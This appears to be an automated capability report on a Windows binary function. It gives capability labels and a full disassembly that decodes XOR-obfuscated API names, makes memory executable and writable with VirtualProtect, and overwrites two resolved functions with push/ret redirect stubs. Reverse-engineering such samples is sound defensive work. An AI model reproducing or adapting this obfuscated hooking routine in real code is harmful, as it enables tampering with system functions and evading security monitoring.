Function at 0x10043180
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x103dda04]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x70], 0xc87ada40
lea eax, [ebp - 0x60]
mov dword [ebp - 0x6c], 0x927b645
mov dword [ebp - 0x68], 0xb7deb7e7
mov dword [ebp - 0x64], 0xea624fe8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x50], 0xbc13a205
mov dword [ebp - 0x4c], 0x6a48c415
mov dword [ebp - 0x48], 0xb7adc482
mov dword [ebp - 0x44], 0xea624fe8
movaps xmm1, xmmword [ebp - 0x50]
pxor xmm1, xmmword [ebp - 0x70]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x60], 0xd261c76e
mov dword [ebp - 0x5c], 0x587ba870
mov dword [ebp - 0x58], 0xdbc1a0ac
mov dword [ebp - 0x54], 0xea624fe8
movaps xmmword [ebp - 0x70], xmm1
mov dword [ebp - 0x50], 0xbc13a205
mov dword [ebp - 0x4c], 0x6a48c415
mov dword [ebp - 0x48], 0xb7adc482
mov dword [ebp - 0x44], 0xea624fe8
movaps xmm1, xmmword [ebp - 0x50]
pxor xmm1, xmmword [ebp - 0x60]
push eax
movaps xmmword [ebp - 0x60], xmm1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x70]
push ecx
push eax
call edi
mov dword [ebp - 0xa0], 0xe974c041
mov dword [ebp - 0x9c], 0x72d967c
mov dword [ebp - 0x98], 0xf5c8b0ed
mov dword [ebp - 0x94], 0x81032a9a
mov dword [ebp - 0x90], 0x4928856e
mov dword [ebp - 0x8c], 0xff610437
mov dword [ebp - 0x88], 0x67c2c614
mov dword [ebp - 0x84], 0xdfeb7122
movaps xmm1, xmmword [ebp - 0xa0]
mov dword [ebp - 0x30], 0xbc13a205
mov dword [ebp - 0x2c], 0x6a48c415
mov dword [ebp - 0x28], 0xb7adc482
mov dword [ebp - 0x24], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0xa0], xmm1
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x20], 0x4928eb07
mov dword [ebp - 0x1c], 0xff610437
mov dword [ebp - 0x18], 0x67c2c614
mov dword [ebp - 0x14], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x20]
mov dword [ebp - 0x70], 0xd077d66b
mov dword [ebp - 0x6c], 0x62cea79
mov dword [ebp - 0x68], 0xb7adc4ee
mov dword [ebp - 0x64], 0xea624fe8
movaps xmmword [ebp - 0x90], xmm1
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x50], 0xbc13a205
mov dword [ebp - 0x4c], 0x6a48c415
mov dword [ebp - 0x48], 0xb7adc482
mov dword [ebp - 0x44], 0xea624fe8
movaps xmm1, xmmword [ebp - 0x50]
pxor xmm1, xmmword [ebp - 0x70]
push eax
movaps xmmword [ebp - 0x70], xmm1
call esi
lea ecx, [ebp - 0xa0]
push ecx
push eax
call edi
mov esi, eax
mov dword [ebp - 0x50], 0xfe74c041
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x4c], 0x129a167
mov dword [ebp - 0x48], 0xd9c4abd2
mov dword [ebp - 0x44], 0xea624f9c
mov dword [ebp - 0x60], 0xbc13a205
lea eax, [ebp - 0x60]
mov dword [ebp - 0x5c], 0x6a48c415
mov dword [ebp - 0x58], 0xb7adc482
mov dword [ebp - 0x54], 0xea624fe8
movaps xmm1, xmmword [ebp - 0x60]
pxor xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0x60], 0xd077d66b
mov dword [ebp - 0x5c], 0x62cea79
mov dword [ebp - 0x58], 0xb7adc4ee
mov dword [ebp - 0x54], 0xea624fe8
movaps xmmword [ebp - 0x50], xmm1
mov dword [ebp - 0x20], 0xbc13a205
mov dword [ebp - 0x1c], 0x6a48c415
mov dword [ebp - 0x18], 0xb7adc482
mov dword [ebp - 0x14], 0xea624fe8
movaps xmm1, xmmword [ebp - 0x20]
pxor xmm1, xmmword [ebp - 0x60]
push eax
movaps xmmword [ebp - 0x60], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x50]
push ecx
push eax
call edi
mov edi, eax
lea eax, [ebp - 0x34]
push eax
push 0x40
push 6
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [eax + 1], ecx
lea ecx, [ebp - 0x34]
push ecx
mov byte [eax], 0x68
mov byte [eax + 5], 0xc3
push dword [ebp - 0x34]
push 6
push eax
call esi
lea eax, [ebp - 0x34]
push eax
push 0x40
push 6
push edi
call esi
mov eax, dword [ebp - 0x74]
mov dword [edi + 1], eax
lea eax, [ebp - 0x34]
push eax
mov byte [edi], 0x68
mov byte [edi + 5], 0xc3
push dword [ebp - 0x34]
push 6
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100b684e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret